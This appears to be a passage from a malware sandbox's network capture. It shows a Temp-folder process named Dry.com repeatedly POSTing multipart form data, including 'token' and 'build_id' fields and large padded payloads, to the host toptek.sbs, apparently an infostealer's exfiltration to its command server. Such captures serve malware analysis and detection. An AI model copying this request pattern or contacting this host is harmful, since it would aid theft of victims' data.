2024-12-21 09:16:09 UTC	324	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----SRQ9HLXLFCBAIEK6PPPH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 66001 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:09 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 53 52 51 39 48 4c 58 4c 46 43 42 41 49 45 4b 36 50 50 50 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 53 52 51 39 48 4c 58 4c 46 43 42 41 49 45 4b 36 50 50 50 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 53 52 51 39 48 4c 58 4c 46 43 42 41 49 45 4b 36 50 50 50 48 0d 0a 43 6f 6e 74 Data Ascii: ------SRQ9HLXLFCBAIEK6PPPHContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------SRQ9HLXLFCBAIEK6PPPHContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------SRQ9HLXLFCBAIEK6PPPHCont
2024-12-21 09:16:09 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:09 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:09 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:09 UTC	581	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:11 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-21 09:16:11 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49952	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:12 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----8G4OP8G4WTRIMY5XTR1D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 153381 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:12 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 38 47 34 4f 50 38 47 34 57 54 52 49 4d 59 35 58 54 52 31 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 38 47 34 4f 50 38 47 34 57 54 52 49 4d 59 35 58 54 52 31 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 38 47 34 4f 50 38 47 34 57 54 52 49 4d 59 35 58 54 52 31 44 0d 0a 43 6f 6e 74 Data Ascii: ------8G4OP8G4WTRIMY5XTR1DContent-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------8G4OP8G4WTRIMY5XTR1DContent-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------8G4OP8G4WTRIMY5XTR1DCont
2024-12-21 09:16:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:12 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:12 UTC	6186	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-21 09:16:14 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Dec 2024 09:16:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49957	94.130.188.57	443	8124	C:\Users\user\AppData\Local\Temp\245347\Dry.com

Timestamp	Bytes transferred	Direction	Data
2024-12-21 09:16:14 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FUS2NOPZUA1VAA1VSRI5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: toptek.sbs Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 55 53 32 4e 4f 50 5a 55 41 31 56 41 41 31 56 53 52 49 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 36 66 34 61 66 64 34 61 36 64 31 61 62 35 63 33 32 36 63 37 33 65 30 66 66 34 33 66 32 31 37 0d 0a 2d 2d 2d 2d 2d 2d 46 55 53 32 4e 4f 50 5a 55 41 31 56 41 41 31 56 53 52 49 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 61 64 62 35 65 35 31 65 62 65 33 62 61 31 32 61 66 62 37 66 62 65 36 32 34 64 31 32 61 32 62 0d 0a 2d 2d 2d 2d 2d 2d 46 55 53 32 4e 4f 50 5a 55 41 31 56 41 41 31 56 53 52 49 35 0d 0a 43 6f 6e 74 Data Ascii: ------FUS2NOPZUA1VAA1VSRI5Content-Disposition: form-data; name="token"16f4afd4a6d1ab5c326c73e0ff43f217------FUS2NOPZUA1VAA1VSRI5Content-Disposition: form-data; name="build_id"dadb5e51ebe3ba12afb7fbe624d12a2b------FUS2NOPZUA1VAA1VSRI5Cont
2024-12-21 09:16:14 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
